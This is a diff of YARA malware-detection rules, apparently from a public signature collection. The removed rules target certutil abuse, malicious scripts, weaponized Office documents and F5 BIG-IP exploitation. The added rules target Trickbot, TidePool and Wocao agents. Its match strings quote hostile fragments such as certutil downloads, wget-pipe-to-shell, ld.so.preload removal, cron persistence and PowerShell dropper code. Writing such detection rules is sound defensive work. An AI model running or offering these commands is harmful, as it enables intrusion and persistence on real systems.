+		hash5 = "d8353cfc5e696d3ae402c7c70565c1e7f31e49bcf74a6e12e5ab044f306b4b20"
+		hash6 = "e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2"
 
 	strings:
-		$a1 = "certutil -decode " ascii wide
-		$a2 = "certutil  -decode " ascii wide
-		$a3 = "certutil.exe -decode " ascii wide
-		$a4 = "certutil.exe  -decode " ascii wide
-		$a5 = "certutil -urlcache -split -f http" ascii wide
-		$a6 = "certutil.exe -urlcache -split -f http" ascii wide
-		$fp_msi = { 52 00 6F 00 6F 00 74 00 20 00 45 00 6E 00 74 00 72 00 79 }
+		$opa1 = { 8b 4d fc 83 c1 01 89 4d fc 81 7d f0 ff 00 00 00 77 1? ba 01 00 00 00 6b c2 00 8b 4d 08 }
+		$opa2 = { 89 45 f0 8b 4d fc 83 c1 01 89 4d fc 81 7d f0 ff 00 00 00 77 1? ba 01 00 00 00 6b c2 00 }
+		$opa3 = { 83 c1 01 89 4d fc 81 7d f0 ff 00 00 00 77 1? ba 01 00 00 00 6b c2 00 8b 4d 08 0f b6 14 01 }
+		$opa4 = { 89 45 f4 8b 0d ?? ?0 07 10 89 4d f8 8b 15 ?? ?1 07 10 89 55 fc ff 75 fc ff 75 f8 ff 55 f4 }
+		$opb1 = { 18 00 10 bd 18 00 10 bd 18 00 10 0e 19 00 10 cc cc cc }
+		$opb2 = { 18 00 10 0e 19 00 10 cc cc cc cc 8b 44 24 04 }
+		$opb3 = { 10 c4 18 00 10 bd 18 00 10 bd 18 00 10 0e 19 00 10 cc cc }
 
 	condition:
-		filesize <700KB and 1 of ($a*) and not 1 of ($fp*)
+		uint16(0)==0x5a4d and filesize <3000KB and (2 of ($opa*) or 3 of them )
 }
-rule SIGNATURE_BASE_Suspicious_JS_Script_Content : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Trickbot_Oct19_1 : FILE
 {
 	meta:
-		description = "Detects suspicious statements in JavaScript files"
+		description = "Detects Trickbot malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6a547aa5-c58c-5559-9d3f-3f0d541eafd4"
-		date = "2017-12-02"
+		id = "b428cbf9-0796-5a01-9b98-28e1bc6827cc"
+		date = "2019-10-02"
 		modified = "2023-12-05"
-		reference = "Research on Leviathan https://goo.gl/MZ7dRg"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mal_scripts.yar#L95-L112"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1dbc1a266d710a70a77c81d5b872d0d324423250a9f34455faef53ac4c41b5f2"
-		score = 70
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_trickbot.yar#L3-L22"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fef15c0bda6dc2b28f34791da3ca68a03f7368b63ead17e631a2d4f05d1b40e2"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "fc0fad39b461eb1cfc6be57932993fcea94fca650564271d1b74dd850c81602f"
+		hash1 = "58852140a2dc30e799b7d50519c56e2fd3bb506691918dbf5d4244cc1f4558a2"
+		hash2 = "aabf54eb27de3d72078bbe8d99a92f5bcc1e43ff86774eb5321ed25fba5d27d4"
+		hash3 = "9d6e4ad7f84d025bbe9f95e74542e7d9f79e054f6dcd7b37296f01e7edd2abae"
 
 	strings:
-		$x1 = "new ActiveXObject('WScript.Shell')).Run('cmd /c " ascii
-		$x2 = ".Run('regsvr32 /s /u /i:" ascii
-		$x3 = "new ActiveXObject('WScript.Shell')).Run('regsvr32 /s" fullword ascii
-		$x4 = "args='/s /u /i:" ascii
+		$s1 = "Celestor@hotmail.com" fullword ascii
+		$s2 = "\\txtPassword" ascii
+		$s14 = "Invalid Password, try again!" fullword wide
+		$op1 = { 78 c4 40 00 ff ff ff ff b4 47 41 }
+		$op2 = { 9b 68 b2 34 46 00 eb 14 8d 55 e4 8d 45 e8 52 50 }
 
 	condition:
-		( filesize <10KB and 1 of them )
+		uint16(0)==0x5a4d and filesize <=2000KB and 3 of them
 }
-rule SIGNATURE_BASE_Universal_Exploit_Strings : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Trickbot_Oct19_2 : FILE
 {
 	meta:
-		description = "Detects a group of strings often used in exploit codes"
+		description = "Detects Trickbot malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4b3a9eec-5f7c-579c-9719-fe23cc291aee"
-		date = "2017-12-02"
+		id = "2ff69a51-d089-53e5-ab19-4fbdf20f90f8"
+		date = "2019-10-02"
 		modified = "2023-12-05"
-		reference = "not set"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mal_scripts.yar#L114-L131"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6436a1cf6d0acc3162ec99c95ef20b3e6dd110c77d5a0b26ac790551316c0a69"
-		score = 50
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_trickbot.yar#L24-L38"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "185e59c156218b418bec0c94144b19639c17e3a9595d993e3761eae15379f9fb"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "9b07dacf8a45218ede6d64327c38478640ff17d0f1e525bd392c002e49fe3629"
+		hash1 = "57b8ea2870f5176a30e6cba2d717fb3ff342f8bd36bac652dc4194a313b5fa64"
+		hash2 = "d75561a744e3ed45dfbf25fe7c120bd24c38138ac469fd02e383dd455a540334"
 
 	strings:
-		$s1 = "Exploit" fullword ascii
-		$s2 = "Payload" fullword ascii
-		$s3 = "CVE-201" ascii
-		$s4 = "bindshell"
+		$x1 = "C:\\Users\\User\\Desktop\\Encrypt\\Math_Cad\\Release\\Math_Cad.pdb" fullword ascii
+		$x2 = "AxedWV3OVTFfnGb" fullword ascii
 
 	condition:
-		( filesize <2KB and 3 of them )
+		uint16(0)==0x5a4d and filesize <=2000KB and 1 of them
 }
-rule SIGNATURE_BASE_VBS_Obfuscated_Mal_Feb18_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Trickbot_Oct19_3 : FILE
 {
 	meta:
-		description = "Detects malicious obfuscated VBS observed in February 2018"
+		description = "Detects Trickbot malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "39ea10e5-9dea-5cc8-8388-15378fcbab60"
-		date = "2018-02-12"
+		id = "3428b7e3-def9-5574-bbbb-6ba98c134dec"
+		date = "2019-10-02"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/zPsn83"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mal_scripts.yar#L133-L155"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0bbd388a3103744df2434956c2b7ac12dacd72f9041b4cc014d31eec4115aedd"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_trickbot.yar#L40-L56"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "87860212077b63bf3e4835a3a64b934fc7edd3258355a3e94a69acaba39c2516"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "06960cb721609fe5a857fe9ca3696a84baba88d06c20920370ddba1b0952a8ab"
-		hash2 = "c5c0e28093e133d03c3806da0061a35776eed47d351e817709d2235b95d3a036"
-		hash3 = "e1765a2b10e2ff10235762b9c65e9f5a4b3b47d292933f1a710e241fe0417a74"
+		hash1 = "25a4ae2a1ce6dbe7da4ba1e2559caa7ed080762cf52dba6c8b55450852135504"
+		hash2 = "57b8ea2870f5176a30e6cba2d717fb3ff342f8bd36bac652dc4194a313b5fa64"
+		hash3 = "d75561a744e3ed45dfbf25fe7c120bd24c38138ac469fd02e383dd455a540334"
+		hash4 = "57b8ea2870f5176a30e6cba2d717fb3ff342f8bd36bac652dc4194a313b5fa64"
+		hash5 = "e92dd00b092b435420f0996e4f557023fe1436110a11f0f61fbb628b959aac99"
 
 	strings:
-		$x1 = "A( Array( (1* 2^1 )+" ascii
-		$x2 = ".addcode(A( Array(" ascii
-		$x3 = "false:AA.send:Execute(AA.responsetext):end" ascii
-		$x4 = "& A( Array(  (1* 2^1 )+" ascii
-		$s1 = ".SYSTEMTYPE:NEXT:IF (UCASE(" ascii
-		$s2 = "A = STR:next:end function" ascii
-		$s3 = "&WSCRIPT.SCRIPTFULLNAME&CHR" fullword ascii
+		$s1 = "Decrypt Shell Fail" fullword ascii
 
 	condition:
-		filesize <600KB and (1 of ($x*) or 3 of them )
+		uint16(0)==0x5a4d and filesize <=2000KB and (1 of them or pe.imphash()=="4e3fbfbf1fc23f646cd40a6fe09385a7")
 }
-rule SIGNATURE_BASE_MAL_DOC_Zloader_Oct20_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Trickbot_Oct19_4 : FILE
 {
 	meta:
-		description = "Detects weaponized ZLoader documents"
+		description = "Detects Trickbot malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "34145746-9733-5dd9-9dcf-99e3a3ceee4f"
-		date = "2020-10-10"
+		id = "dcadaa50-52ae-5ded-b40e-149f28092093"
+		date = "2019-10-02"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/JohnLaTwC/status/1314602421977452544"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_zloader_maldocs.yar#L2-L22"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6f546a860361d3caff99c282465dbbd1880460c7491a1b5ad065c1b5d91e5d49"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_trickbot.yar#L58-L77"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c109510d86260b4173bbbac5fe69936acb109e7fdbe71fbe2955e5ed85f5cd85"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "668ca7ede54664360b0a44d5e19e76beb92c19659a8dec0e7085d05528df42b5"
-		hash2 = "a2ffabbb1b5a124f462a51fee41221081345ec084d768ffe1b1ef72d555eb0a0"
-		hash3 = "d268af19db475893a3d19f76be30bb063ab2ca188d1b5a70e51d260105b201da"
+		hash1 = "25a4ae2a1ce6dbe7da4ba1e2559caa7ed080762cf52dba6c8b55450852135504"
+		hash2 = "e92dd00b092b435420f0996e4f557023fe1436110a11f0f61fbb628b959aac99"
+		hash3 = "aabf54eb27de3d72078bbe8d99a92f5bcc1e43ff86774eb5321ed25fba5d27d4"
+		hash4 = "9ecc794ec77ce937e8c835d837ca7f0548ef695090543ed83a7adbc07da9f536"
 
 	strings:
-		$sc1 = { 78 4E FC 04 AB 6B 17 E2 33 E3 49 62 50 69 BB 60
-               31 00 1E 00 02 4B BA E2 D8 E3 92 22 1E 69 96 20
-               98 }
-		$sc2 = { 6B 9E E2 36 E3 69 62 72 69 3A 60 55 6E }
-		$sc3 = { 3E 69 76 60 59 6E 34 FB 87 6B 75 }
+		$x1 = "c:\\users\\user\\documents\\visual studio 2005\\projects\\adzxser\\release\\ADZXSER.pdb" fullword ascii
+		$x2 = "http://root-hack.org" fullword ascii
+		$x3 = "http://hax-studios.net" fullword ascii
+		$x4 = "5OCFBBKCAZxWUE#$_SVRR[SQJ" fullword ascii
+		$x5 = "G*\\AC:\\Users\\911\\Desktop\\cButtonBar\\cButtonBar\\ButtonBar.vbp" fullword wide
 
 	condition:
-		uint16(0)==0xcfd0 and filesize <40KB and filesize >30KB and all of them
+		uint16(0)==0x5a4d and filesize <=2000KB and 1 of them
 }
-rule SIGNATURE_BASE_EXPL_CVE_2021_40444_Document_Rels_XML : CVE_2021_40444 FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Trickbot_Oct19_5 : FILE
 {
 	meta:
-		description = "Detects indicators found in weaponized documents that exploit CVE-2021-40444"
-		author = "Jeremy Brown / @alteredbytes"
-		id = "812bb68e-71ea-5a9a-8d39-ab99fdaa6c58"
-		date = "2021-09-10"
+		description = "Detects Trickbot malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b3034f0c-5fd9-58a2-866f-9100e3a56f39"
+		date = "2019-10-02"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/AlteredBytes/status/1435811407249952772"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_cve_2021_40444.yar#L6-L25"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b05c3b33c3cab2c9109d808ed197758bc987f07beee77e1f61094715e0c1a1e7"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_trickbot.yar#L79-L96"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e304b236dd58faa0e6fdd73bc93c24f6ff0ec6c1f9a54b104f8e87441834e22b"
 		score = 75
 		quality = 85
-		tags = "CVE-2021-40444, FILE"
+		tags = "FILE"
+		hash1 = "58852140a2dc30e799b7d50519c56e2fd3bb506691918dbf5d4244cc1f4558a2"
+		hash2 = "aabf54eb27de3d72078bbe8d99a92f5bcc1e43ff86774eb5321ed25fba5d27d4"
+		hash3 = "9ecc794ec77ce937e8c835d837ca7f0548ef695090543ed83a7adbc07da9f536"
+		hash4 = "9d6e4ad7f84d025bbe9f95e74542e7d9f79e054f6dcd7b37296f01e7edd2abae"
 
 	strings:
-		$b1 = "/relationships/oleObject" ascii
-		$b2 = "/relationships/attachedTemplate" ascii
-		$c1 = "Target=\"mhtml:http" nocase
-		$c2 = "!x-usc:http" nocase
-		$c3 = "TargetMode=\"External\"" nocase
+		$s1 = "LoadShellCode" fullword ascii
+		$s2 = "pShellCode" fullword ascii
+		$s3 = "InitShellCode" fullword ascii
 
 	condition:
-		uint32(0)==0x6D783F3C and filesize <10KB and 1 of ($b*) and all of ($c*)
+		uint16(0)==0x5a4d and filesize <=2000KB and 2 of them
 }
-rule SIGNATURE_BASE_EXPL_MAL_Maldoc_OBFUSCT_MHTML_Sep21_1 : CVE_2021_40444 FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Trickbot_Oct19_6 : FILE
 {
 	meta:
-		description = "Detects suspicious office reference files including an obfuscated MHTML reference exploiting CVE-2021-40444"
+		description = "Detects Trickbot malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "781cfd61-d5ac-58e5-868f-dbd2a2df3500"
-		date = "2021-09-18"
+		id = "5feb8d34-4974-5315-a5f9-79a3fac83d1d"
+		date = "2019-10-02"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/decalage2/status/1438946225190014984?s=20"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_cve_2021_40444.yar#L27-L41"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "84674acffba5101c8ac518019a9afe2a78a675ef3525a44dceddeed8a0092c69"
-		logic_hash = "11a73572970d2d85d308330119a2c5243f2848ae78a861decdb0cdbde0d9d1c2"
-		score = 90
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_trickbot.yar#L98-L115"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "599b1f56483f4ea267595b90dd4ef93b7e2147e4a0d8449cdd9d2539a96c3f79"
+		score = 75
 		quality = 85
-		tags = "CVE-2021-40444, FILE"
+		tags = "FILE"
+		hash1 = "cf99990bee6c378cbf56239b3cc88276eec348d82740f84e9d5c343751f82560"
+		hash2 = "cf99990bee6c378cbf56239b3cc88276eec348d82740f84e9d5c343751f82560"
 
 	strings:
-		$h1 = "<?xml " ascii wide
-		$s1 = "109;&#104;&#116;&#109;&#108;&#58;&#104;&#116;&#109;&#108" ascii wide
+		$x1 = "D:\\MyProjects\\spreader\\Release\\ssExecutor_x86.pdb" fullword ascii
+		$s1 = "%s\\appdata\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\%s" fullword ascii
+		$s2 = "%s\\appdata\\roaming\\%s" fullword ascii
+		$s3 = "WINDOWS\\SYSTEM32\\TASKS" fullword ascii
 
 	condition:
-		filesize <25KB and all of them
+		uint16(0)==0x5a4d and filesize <=400KB and (1 of ($x*) or 3 of them )
 }
-rule SIGNATURE_BASE_EXPL_XML_Encoded_CVE_2021_40444 : CVE_2021_40444 FILE
+rule SIGNATURE_BASE_Tidepool_Malware : FILE
 {
 	meta:
-		description = "Detects possible CVE-2021-40444 with no encoding, HTML/XML entity (and hex notation) encoding, or all 3"
-		author = "James E.C, Proofpoint"
-		id = "4bf9ec64-c662-5c8f-9e58-12a7412ef07d"
-		date = "2021-09-18"
-		modified = "2021-09-19"
-		reference = "https://twitter.com/sudosev/status/1439205606129377282"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_cve_2021_40444.yar#L44-L61"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "13de9f39b1ad232e704b5e0b5051800fcd844e9f661185ace8287a23e9b3868e"
-		hash = "84674acffba5101c8ac518019a9afe2a78a675ef3525a44dceddeed8a0092c69"
-		logic_hash = "feaeadd8e7e262f191ea0c2f85377531208262e5ac19d6706703e62cf8b4ec90"
-		score = 70
+		description = "Detects TidePool malware mentioned in Ke3chang report by Palo Alto Networks"
+		author = "Florian Roth (Nextron Systems)"
+		id = "eec12fd7-f5f8-5bee-98e0-2111766deb55"
+		date = "2016-05-24"
+		modified = "2023-12-05"
+		reference = "http://goo.gl/m2CXWR"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_tidepool.yar#L8-L32"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "759920ed7c9320e8412ed0644b28922a545b04f7549f0da6d6c67d6af8a7af3e"
+		score = 75
 		quality = 85
-		tags = "CVE-2021-40444, FILE"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "9d0a47bdf00f7bd332ddd4cf8d95dd11ebbb945dda3d72aac512512b48ad93ba"
+		hash2 = "67c4e8ab0f12fae7b4aeb66f7e59e286bd98d3a77e5a291e8d58b3cfbc1514ed"
+		hash3 = "2252dcd1b6afacde3f94d9557811bb769c4f0af3cb7a48ffe068d31bb7c30e18"
+		hash4 = "38f2c86041e0446730479cdb9c530298c0c4936722975c4e7446544fd6dcac9f"
+		hash5 = "9d0a47bdf00f7bd332ddd4cf8d95dd11ebbb945dda3d72aac512512b48ad93ba"
 
 	strings:
-		$h1 = "<?xml " ascii wide
-		$t_xml_r = /Target[\s]{0,20}=[\s]{0,20}\["']([Mm]|&#(109|77|x6d|x4d);)([Hh]|&#(104|72|x68|x48);)([Tt]|&#(116|84|x74|x54);)([Mm]|&#(109|77|x6d|x4d);)([Ll]|&#(108|76|x6c|x4c);)(:|&#58;|&#x3a)/
-		$t_mode_r = /TargetMode[\s]{0,20}=[\s]{0,20}\["']([Ee]|&#(x45|x65|69|101);)([Xx]|&#(x58|x78|88|120);)([Tt]|&#(x74|x54|84|116);)/
+		$x1 = "Content-Disposition: form-data; name=\"m1.jpg\"" fullword ascii
+		$x2 = "C:\\PROGRA~2\\IEHelper\\mshtml.dll" fullword wide
+		$x3 = "C:\\DOCUME~1\\ALLUSE~1\\IEHelper\\mshtml.dll" fullword wide
+		$x4 = "IEComDll.dat" fullword ascii
+		$s1 = "Content-Type: multipart/form-data; boundary=----=_Part_%x" fullword wide
+		$s2 = "C:\\Windows\\System32\\rundll32.exe" fullword wide
+		$s3 = "network.proxy.socks_port\", " fullword ascii
 
 	condition:
-		filesize <500KB and $h1 and all of ($t_*)
+		( uint16(0)==0x5a4d and filesize <200KB and (1 of ($x*))) or (4 of them )
 }
-rule SIGNATURE_BASE_SUSP_OBFUSC_Indiators_XML_Officedoc_Sep21_1 : WINDOWS CVE FILE
+rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Agent_Csharp
 {
 	meta:
-		description = "Detects suspicious encodings in fields used in reference files found in weaponized MS Office documents"
-		author = "Florian Roth (Nextron Systems)"
-		id = "ffcaf270-f574-5692-90e5-6776c34eb71b"
-		date = "2021-09-18"
+		description = "Strings from CSharp version of Agent"
+		author = "Fox-IT SRT"
+		id = "e5212226-a82d-558d-abb4-43ad7848764e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/sudosev/status/1439205606129377282"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_cve_2021_40444.yar#L64-L81"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "13de9f39b1ad232e704b5e0b5051800fcd844e9f661185ace8287a23e9b3868e"
-		hash = "84674acffba5101c8ac518019a9afe2a78a675ef3525a44dceddeed8a0092c69"
-		logic_hash = "fc8f0dd02460ab8f8cc6717c66eba51e6ed74881a48e92fd0bf978467dfb40e3"
-		score = 65
+		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_wocao.yar#L2-L22"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e77fcd2ac0c21db54563b15466962a775a5e8ef73cedb3af5cd00d5b0d615e4c"
+		score = 75
 		quality = 85
-		tags = "WINDOWS, CVE, FILE"
+		tags = ""
 
 	strings:
-		$h1 = "<?xml " ascii wide
-		$xml_e = "Target=\"&#" ascii wide
-		$xml_mode_1 = "TargetMode=\"&#" ascii wide
+		$a = "mysend(client_sock, new byte[] { 0x16, 0x00 }, 2);" ascii wide
+		$b = "Dns.GetHostAddresses(sip.Remove(sip.Length - 1));" ascii wide
+		$c = "Port = 256 * buf[4] + buf[5];" ascii wide
+		$d = "Port = 256 * buf[AddrLen] + buf[AddrLen + 1];" ascii wide
+		$e = "StartTransData(CliSock" ascii wide
+		$f = "static void ForwardTransmit(object ft_data)" ascii wide
+		$key = "0x4c, 0x1b, 0x68, 0x0b, 0x6a, 0x18, 0x09, 0x41, 0x5a, 0x36, 0x1f, 0x56, 0x26, 0x2a, 0x03, 0x44, 0x7d, 0x5f, 0x03, 0x7b, 0x07, 0x6e, 0x03, 0x77, 0x30, 0x70, 0x52, 0x42, 0x53, 0x67, 0x0a, 0x2a" ascii wide
+		$key_raw = { 4c1b680b6a1809415a361f56262a03447d5f037b076e03773070524253670a2a }
 
 	condition:
-		filesize <500KB and $h1 and 1 of ($xml*)
+		1 of them
 }
-rule SIGNATURE_BASE_SUSP_OBFUSC_Indiators_XML_Officedoc_Sep21_2 : WINDOWS CVE FILE
+rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Agent_Powershell_Dropper
 {
 	meta:
-		description = "Detects suspicious encodings in fields used in reference files found in weaponized MS Office documents"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c3c5ec4f-5d2a-523c-bd4b-b75c04bac87d"
-		date = "2021-09-18"
+		description = "Strings from PowerShell dropper of CSharp version of Agent"
+		author = "Fox-IT SRT"
+		id = "833ce607-56a9-5580-bbd1-e72392945fec"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/sudosev/status/1439205606129377282"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_cve_2021_40444.yar#L83-L98"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "82c70e0f0b72a57302e5853cc53ae18dbb0bc8dabdfd27b473a7664b2fc5e874"
-		score = 65
+		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_wocao.yar#L24-L38"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "19f56e69685ae8c13b9dd884f8322915835c16e2c6313f01f9fa447218419108"
+		score = 75
 		quality = 85
-		tags = "WINDOWS, CVE, FILE"
+		tags = ""
 
 	strings:
-		$h1 = "<?xml " ascii wide
-		$a1 = "Target" ascii wide
-		$a2 = "TargetMode" ascii wide
-		$xml_e = "&#x0000" ascii wide
+		$a = "function format([string]$source)"
+		$b = "foreach($c in $bb){$tt = $tt + [char]($c -bxor"
+		$c = "[agent]::Main($args);"
 
 	condition:
-		filesize <500KB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_MAL_Payload_F5_BIG_IP_Exploitations_Jul20_1 : CVE_2020_5902 FILE
+rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Agent_Powershell_B64Encoded
 {
 	meta:
-		description = "Detects code found in report on exploits against CVE-2020-5902 F5 BIG-IP vulnerability by NCC group"
-		author = "Florian Roth (Nextron Systems)"
-		id = "57705ba1-c0ad-5ca6-8539-44d9da6b5942"
-		date = "2020-06-07"
+		description = "Piece of Base64 encoded data from Agent CSharp version"
+		author = "Fox-IT SRT"
+		id = "14e1702d-6229-5989-8bb7-cc9c0c321676"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://research.nccgroup.com/2020/07/05/rift-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902-intelligence/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_f5_bigip_expl_payloads.yar#L2-L23"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a3651081bb09452d80cba9f673a7b61c8ee2f47a12fb64d975eb63867688ee3b"
+		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_wocao.yar#L40-L52"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bcf9a75dbbf90044db76c56ffd07971d4252b0e75d73abf402ca4fadbfb59767"
 		score = 75
 		quality = 85
-		tags = "CVE-2020-5902, FILE"
+		tags = ""
 
 	strings:
-		$x1 = "rm -f /etc/ld.so.preload" ascii fullword
-		$x2 = "echo \"* * * * * $LDR" ascii
-		$x3 = ".sh -o /tmp/in.sh" ascii
-		$x4 = "chmod a+x /etc/.modules/.tmp" ascii
-		$x5 = "chmod +x /var/log/F5-logcheck"
-		$s1 = "ulimit -n 65535" ascii fullword
-		$s2 = "-s /usr/bin/wget " ascii
-		$s3 = ".sh | sh" ascii
+		$header = "LFNVT0hBBnVfVVJDSx0sU1VPSEEGdV9VUkNLCG9pHSxTVU9IQQZ1X1VSQ0sIZUlK"
 
 	condition:
-		filesize <300KB and (1 of ($x*) or 3 of them )
+		all of them
 }
-rule SIGNATURE_BASE_PHISH_02Dez2015_Dropped_P0O6543F_1 : FILE
+rule SIGNATURE_BASE_APT_MAL_CN_Wocao_Agent_Py
 {
 	meta:
-		description = "Phishing Wave - file p0o6543f.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "3335ad3c-47f8-5547-bac0-df2d98ff644f"
-		date = "2015-12-02"
+		description = "Strings from Python version of Agent"
+		author = "Fox-IT SRT"
